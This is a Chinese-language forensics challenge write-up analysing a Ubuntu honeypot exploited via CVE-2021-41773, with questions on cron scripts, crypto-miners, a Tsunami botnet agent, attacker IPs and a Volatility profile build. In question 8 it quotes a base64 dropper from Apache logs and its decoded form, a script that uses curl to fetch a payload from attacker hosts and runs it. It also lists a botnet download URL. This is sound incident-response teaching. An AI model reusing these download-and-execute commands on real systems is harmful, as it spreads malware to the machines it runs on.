Ubuntu18.04磁盘取证-中难度篇

简介: 容器是一个Ubuntu Linux 蜜罐,用来观察利用 CVE-2021-41773 的漏洞攻击者想要做什么。您将看到一个 cron 脚本,用于删除 /tmp 中名为 kinsing 的文件。这是防止这些矿工的一种方式,因此可能会发生更多有趣的事情。作为SOC分析师,请帮忙分析以下问题

涉及的镜像文件:

sdb.vhd

uac.tar

ubuntu.20211208.mem


需要利用的工具:

volatility3

volatility2.6.1

FTK/Autopsy

Strings


题干

容器是一个Ubuntu Linux 蜜罐,用来观察利用 CVE-2021-41773 的漏洞攻击者想要做什么。


您将看到一个 cron 脚本,用于删除 /tmp 中名为 kinsing 的文件。这是防止这些矿工的一种方式,因此可能会发生更多有趣的事情。作为SOC分析师,请帮忙分析以下问题


问题1

文件 => sdb.vhd

有一个脚本每分钟运行一次以执行清理。文件的名称是什么?

直接用FTK打开磁盘镜像文件,找到计划任务的路径进去看就行

图片.png

图片.png

这个 bash 脚本的作用是查找正在运行的进程中包含 "kinsing" 或 "kdevtmp" 字符串,并且进程的可执行文件路径包含 "/tmp" 的进程。然后,它使用 kill -9 来终止这些进程。接着,它更改以 "k" 开头的文件在 /tmp 目录下的所有者为 root,并将这些文件的权限设置为只读(444)他的目的就是杀掉防护进程


问题2

文件 => sdb.vhd

题目1中的脚本终止与两个比特币矿工恶意软件文件关联的进程。第一个恶意软件文件的名称是什么?

#!/bin/bash

for PID in `ps -ef | egrep "kinsing|kdevtmp" | grep "/tmp"  | awk '{ print $2 }'`

do

kill -9 $PID

done

chown root.root /tmp/k*

chmod 444 /tmp/k*


kinsing


问题3

文件 => sdb.vhd

题目1中的脚本更改某些文件的权限。他们的新权限是什么?

444


问题4

文件 => sdb.vhd

僵尸网络代理文件的 sha256是什么?


图片.png

这个文件在/tmp 文件夹下,此题有些牵强了,因为光凭借文件的名字没人知道这是个啥,所以这里推荐大家用FTK把磁盘映射搞起来,然后用病毒扫描工具扫一下

图片.png


问题5

文件 => sdb.vhd Q#4 中的僵尸网络名称是什么?

直接把vt扫描结果放进去就行

Tsunami


问题6

文件 => sdb.vhd

哪个 IP 地址与 题目4中僵尸网络代理文件的创建时间戳匹配?


先看一下代理文件下载时间

图片.png

然后去阿帕奇日志里找到了东西,这个题其实也有点牵强

图片.png

141.135.85.36


问题7

文件 => sdb.vhd

攻击者下载僵尸网络代理使用的URL是什么?

图片.png

这道题是在error.log里找到的,不知道为什么会出现在错误日志里

http://138.197.206.223:80/wp-content/themes/twentysixteen/dk86


问题8

文件 => sdb.vhd

攻击者下载并执行恶意脚本,随后删除自身,文件的名称是什么?

此题在error.log里看到了,这道题其实到最后我也没做出来,太过于牵强了,简直是大海捞针一样


图片.png

[Sun Nov 14 01:25:50.735078 2021] [dumpio:trace7] [pid 4449:tid 139978856150784] mod_dumpio.c(103): [client 116.202.187.77:56590] mod_dumpio:  dumpio_in (data-HEAP): Q2NwQ2drSlpta0tDV1pwQ2dsbWIzSWdaWFJvSUdsdUlDUnBabUZqWlhNN0lHUnZDZ2tKYjNWMFBTUW9ZM1Z5YkNBdGN5QXRMV2x1ZEdWeVptRmpaU0FrWlhSb0lDMHRZMjl1Ym1WamRDMTBhVzFsYjNWMElEVWdhSFIwY0Rvdkx6RXhOaTR5TURNdU1qRXlMakU0TkM4eE1ERXdMMjl1YkdsdVpTNXdhSEFnTFhVZ1kyeHBaVzUwT2lWQU1USXpMVFExTmtBbElESStJQzlrWlhZdmJuVnNiQ2tLQ1FsbGJtRmliR1U5SkNobFkyaHZJQ1J2ZFhRZ2ZDQmhkMnNnSjN0emNHeHBkQ2drTUN4aExDSXNJaWs3SUhCeWFXNTBJR0ZiTVYxOUp5a0tDUWx2Ym14cGJtVTlKQ2hsWTJodklDUnZkWFFnZkNCaGQyc2dKM3R6Y0d4cGRDZ2tNQ3hoTENJc0lpazdJSEJ5YVc1MElHRmJNbDE5SnlrS0NRbHBaaUJiSUNJa1pXNWhZbXhsSWlBOVBTQWlNU0lnTFdFZ0lpUnZibXhwYm1VaUlEMDlJQ0l4SWlCZE95QjBhR1Z1Q2drSkNXVmphRzhnSWlSbGRHZ2lJRDRnTG1sdWRHVnlabUZqWlFvSkNRbGljbVZoYXdvSkNXWnBDZ2xrYjI1bENtWnBDZ3BwWmlCYklDMW1JQ0l1YVc1MFpYSm1ZV05sSWlCZE95QjBhR1Z1Q2dsRFZWSk1QU0pqZFhKc0lDMHRhVzUwWlhKbVlXTmxJQ0lrS0dOaGRDQXVhVzUwWlhKbVlXTmxJREkrSUM5a1pYWXZiblZzYkNrS0NVUlBUVDBpTVRFMkxqSXdNeTR5TVRJdU1UZzBJZ3BtYVFvS2IzVjBQU1FvSkVOVlVrd2dMWE1nYUhSMGNEb3ZMeVJFVDAwdk1UQXhNQzl6Y21NdWNHaHdJQzExSUdOc2FXVnVkRG9sUURFeU15MDBOVFpBSlNBeVBpQXZaR1YyTDI1MWJHd3BDbVZ1WVdKc1pUMGtLR1ZqYUc4Z0pHOTFkQ0I4SUdGM2F5QW5lM053YkdsMEtDUXdMR0VzSWl3aUtUc2djSEpwYm5RZ1lWc3hYWDBuS1FwaVlYTmxQU1FvWldOb2J5QWtiM1YwSUh3Z1lYZHJJQ2Q3YzNCc2FYUW9KREFzWVN3aUxDSXBPeUJ3Y21sdWRDQmhXekpkZlNjcENtbG1JRnNnSWlSbGJtRmliR1VpSUMxbGNTQWlNU0lnWFRzZ2RHaGxiZ29KY20wZ0xYSm1JQzV0YVc1cFkyOXVaR0V1YzJnZ0xtRndhU0F1YVhCcFpDQXVjM0JwWkNBdVkzSnZiaTV6YUNBdWMzSmpMbk5vT3lBa1ExVlNUQ0F0Y3lCb2RIUndPaTh2SkVSUFRTOHhNREV3TDJJMk5DNXdhSEFnTFhVZ1kyeHBaVzUwT2lWQU1USXpMVFExTmtBbElDMHRaR0YwWVMxMWNteGxibU52WkdVZ0luTTlKR0poYzJVaUlDMXZJQzV6Y21NdWMyZ2dNajRnTDJSbGRpOXVkV3hzSUNZbUlHTm9iVzlrSUN0NElDNXpjbU11YzJnZ1BpQXZaR1YyTDI1MWJHd2dNajRtTVFvSmMyZ2dMbk55WXk1emFDQStJQzlrWlhZdmJuVnNiQ0F5UGlZeElDWUtabWtLY20wZ0xYSm1JQzVwYm5OMFlXeHNDZz09JyAtbyAuaW5zdGFsbDsgY2htb2QgK3ggLmluc3RhbGw7IHNoIC5pbnN0YWxsID4gL2Rldi9udWxsIDI+JjEgJiBlY2hvICdEb25lJzsgZWxzZSBlY2hvICdBbHJlYWR5IGluc3RhbGwuIFN0YXJ0ZWQnOyBjZCAubG9nLzEwMTA2OC8uc3Bvb2xsb2cgJiYgc2ggLmNyb24uc2ggPiAvZGV2L251bGwgMj4mMSAmIGZp


解密后:

CcpCgkJZmkKCWZpCglmb3IgZXRoIGluICRpZmFjZXM7IGRvCgkJb3V0PSQoY3VybCAtcyAtLWludGVyZmFjZSAkZXRoIC0tY29ubmVjdC10aW1lb3V0IDUgaHR0cDovLzExNi4yMDMuMjEyLjE4NC8xMDEwL29ubGluZS5waHAgLXUgY2xpZW50OiVAMTIzLTQ1NkAlIDI+IC9kZXYvbnVsbCkKCQllbmFibGU9JChlY2hvICRvdXQgfCBhd2sgJ3tzcGxpdCgkMCxhLCIsIik7IHByaW50IGFbMV19JykKCQlvbmxpbmU9JChlY2hvICRvdXQgfCBhd2sgJ3tzcGxpdCgkMCxhLCIsIik7IHByaW50IGFbMl19JykKCQlpZiBbICIkZW5hYmxlIiA9PSAiMSIgLWEgIiRvbmxpbmUiID09ICIxIiBdOyB0aGVuCgkJCWVjaG8gIiRldGgiID4gLmludGVyZmFjZQoJCQlicmVhawoJCWZpCglkb25lCmZpCgppZiBbIC1mICIuaW50ZXJmYWNlIiBdOyB0aGVuCglDVVJMPSJjdXJsIC0taW50ZXJmYWNlICIkKGNhdCAuaW50ZXJmYWNlIDI+IC9kZXYvbnVsbCkKCURPTT0iMTE2LjIwMy4yMTIuMTg0IgpmaQoKb3V0PSQoJENVUkwgLXMgaHR0cDovLyRET00vMTAxMC9zcmMucGhwIC11IGNsaWVudDolQDEyMy00NTZAJSAyPiAvZGV2L251bGwpCmVuYWJsZT0kKGVjaG8gJG91dCB8IGF3ayAne3NwbGl0KCQwLGEsIiwiKTsgcHJpbnQgYVsxXX0nKQpiYXNlPSQoZWNobyAkb3V0IHwgYXdrICd7c3BsaXQoJDAsYSwiLCIpOyBwcmludCBhWzJdfScpCmlmIFsgIiRlbmFibGUiIC1lcSAiMSIgXTsgdGhlbgoJcm0gLXJmIC5taW5pY29uZGEuc2ggLmFwaSAuaXBpZCAuc3BpZCAuY3Jvbi5zaCAuc3JjLnNoOyAkQ1VSTCAtcyBodHRwOi8vJERPTS8xMDEwL2I2NC5waHAgLXUgY2xpZW50OiVAMTIzLTQ1NkAlIC0tZGF0YS11cmxlbmNvZGUgInM9JGJhc2UiIC1vIC5zcmMuc2ggMj4gL2Rldi9udWxsICYmIGNobW9kICt4IC5zcmMuc2ggPiAvZGV2L251bGwgMj4mMQoJc2ggLnNyYy5zaCA+IC9kZXYvbnVsbCAyPiYxICYKZmkKcm0gLXJmIC5pbnN0YWxsCg==' -o .install; chmod +x .install; sh .install > /dev/null 2>&1 & echo 'Done'; else echo 'Already install. Started'; cd .log/101068/.spoollog && sh .cron.sh > /dev/null 2>&1 & fi



问题9

文件 => sdb.vhd

攻击者下载了一些 sh 脚本。这些sh文件的名称是什么?

还是看error.log

strings error_log | grep -E '\.sh'

图片.png

只是不知道为啥会出现在error.log里面

0_cron.sh, 0_linux.sh, ap.sh


问题10

文件 => UAC

两个可疑进程正在从已删除的目录运行。他们的 PID 是什么?

/uac-ApacheWebServer-linux-20211208202503.tar\live_response\process\lsof_-nPl.txt

过滤所有的deleted关键字

图片.png

图片.png


6388,20645


问题11

文件 => UAC

与上题第二个 PID 关联的可疑命令行是什么?

/uac-ApacheWebServer-linux-20211208202503.tar\live_response\process\ps_auxwwwf.txt

图片.png

sh .src.sh


问题12

文件 => UAC

UAC 从 第10道题目的第二个进程收集了一些数据。攻击中使用的远程 IP 地址和远程端口是什么?

/uac-ApacheWebServer-linux-20211208202503.tar\\live_response\process\proc\20645\environ.txt

图片.png

116.202.187.77:56590


问题13

文件 => UAC

哪个用户负责执行 第11题中的命令?

图片.png


daemon


问题14

文件 => UAC

两个可疑的 shell 进程正在从 tmp 文件夹运行。他们的 PID 是什么?

strings lsof_-nPl.txt | grep  '/tmp'

图片.png

图片.png

15853,21785


问题15

文件 => ubuntu.20211208.mem

捕获的内存的 MAC 地址是多少?

这里需要使用vol3版本,因为vol2.6.1无论是哪个版本使用imageinfo都是没有任何响应

python vol.py -f ../ubuntu.20211208.mem banner

图片.png

这里需要定向配置了

这里使用的docker

首先先在系统根路径下把volatility-2.6.1整个拷贝过去

图片.png

我们需要用的是里面的/volatility-2.6.1/tools/linux 里面的makefile文件和modules.c文件

在系统根路径运行以下命令,首先更新apt-get,然后安装docker,最后是运行容器

apt-get update  

apt install docker.io

docker run -it --rm -v $PWD://volatility-2.6.1  ubuntu:18.04 /bin/bash

cd /volatility-2.6.1/tools/linux

图片.png

然后更新容器,安装dwarfdump make zip等命令,同时在modules.c文件加入一句话

MODULE_LICENSE("GPL")   直接在在末尾也可以

图片.png

apt-get update

apt-get install -y build-essential dwarfdump make zip

apt-get install -y linux-image-5.4.0-1059-azure linux-headers-5.4.0-1059-azure

make

图片.png

第一次执行make的时候,报错了,不知道为啥他找的是kali的路径,所以执行以下命令手动make以下,由于makefile的报错,所以dwarfdump 也得手动

make -C //lib/modules/5.4.0-1059-azure/build CONFIG_DEBUG_INFO=y M="/root/" modules

dwarfdump -di module.ko > module.dwarf

zip Ubuntu-azure.zip module.dwarf /boot/System.map-5.4.0-1059-azure


图片.png

同时如果不修改modules.c就会报错

全部执行完毕后不报错了

图片.png

然后去自己物理机的目录就能找到压缩包了

图片.png

把Ubuntu-azure.zip拷贝到/volatility-2.6.1/volatility/plugins/linux

图片.png

试着执行一下,成功了,不容易

图片.png


正常玩法

python2 vol.py -f ubuntu.20211208.mem --profile=LinuxUbuntu-azurex64 linux_ifconfig

图片.png

当然了,环境配不出来可以strings过滤

strings ubuntu.20211208.mem | grep -E -o '([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})'


图片.png

问题16

文件 => ubuntu.20211208.mem

来自 Bash 历史记录。攻击者下载了一个 sh 脚本。文件的名称是什么?


正常玩法:

python2 vol.py -f ubuntu.20211208.mem --profile=LinuxUbuntu-azurex64 linux_bash

图片.png

太多了

python2 vol.py -f ubuntu.20211208.mem --profile=LinuxUbuntu-azurex64 linux_bash | grep -i '\.sh'

图片.png

unk.sh

同样也可以在FTK工具中利用第一个镜像找到文件

图片.png


相关文章
|
7月前
|
运维 Ubuntu 安全
Ubuntu 磁盘管理DF命令用法
Linux磁盘空间管理是系统运维中的核心环节,它直接影响到系统的稳定运行、数据的安全性和业务的连续性。 通过实施有效的磁盘空间管理策略,系统管理员可以确保系统的高效运作,满足不断变化的业务需求,并为用户提供可靠的服务。 因此,对Linux磁盘空间管理的重视和精通对于任何企业的IT运营都属于核心业务。
129 0
|
Ubuntu Docker 容器
Ubuntu 挂载新磁盘
Ubuntu 挂载新磁盘
807 0
|
6月前
|
Ubuntu Linux 网络安全
ubuntu linux通过rclone 挂载onedrive 到本地磁盘
ubuntu linux通过rclone 挂载onedrive 到本地磁盘
380 2
|
6月前
|
Ubuntu
ubuntu搭建NFS服务 磁盘共享 nfs 搭建
ubuntu搭建NFS服务 磁盘共享 nfs 搭建
200 2
|
7月前
|
Ubuntu 虚拟化
百度搜索:蓝易云【虚拟机磁盘大小变更后的Ubuntu动态分区调整教程】
现在,你已经成功将Ubuntu虚拟机的动态分区调整为新的磁盘大小。你可以通过 `df -h`命令来查看文件系统的新大小。注意,在进行此操作时,请务必备份重要数据,并确保你了解分区操作的风险和影响。
65 0
|
Ubuntu 虚拟化 开发者
虚拟机磁盘大小变更后的Ubuntu动态分区调整
家人们,今天我们来分享一下关于虚拟机磁盘大小变更后,在Ubuntu操作系统中如何进行动态分区调整的技巧。随着虚拟化技术的发展,虚拟机已经成为许多开发者和系统管理员的首选工具之一。在使用虚拟机过程中,可能会遇到需要扩展磁盘容量的情况,而Ubuntu作为一种常见的操作系统,我们将介绍如何动态调整分区以适应磁盘大小的变更。
383 0
虚拟机磁盘大小变更后的Ubuntu动态分区调整
|
Ubuntu Windows
win10+ubuntu16.04 卸载ubuntu系统 以及ubuntu系统所占的磁盘不显示的解决方案
win10+ubuntu16.04 卸载ubuntu系统 以及ubuntu系统所占的磁盘不显示的解决方案
209 0
|
Ubuntu Linux
Ubuntu虚拟机扩展磁盘
虚拟机启动Linux,卡在了开机界面,ctrl+alt+f3,先简单清理一下,然后再重新启动,我是不知道有什么可以删除的,也不敢乱删,所以先清理一下安装包吧,再扩展一下磁盘
Ubuntu虚拟机扩展磁盘
|
Ubuntu
Ubuntu 查看磁盘信息
Ubuntu 查看磁盘信息
242 0
|
Ubuntu Linux
Linux (Ubuntu)磁盘管理与文件压缩解压(入门必看)
Linux (Ubuntu)磁盘管理与文件压缩解压(入门必看)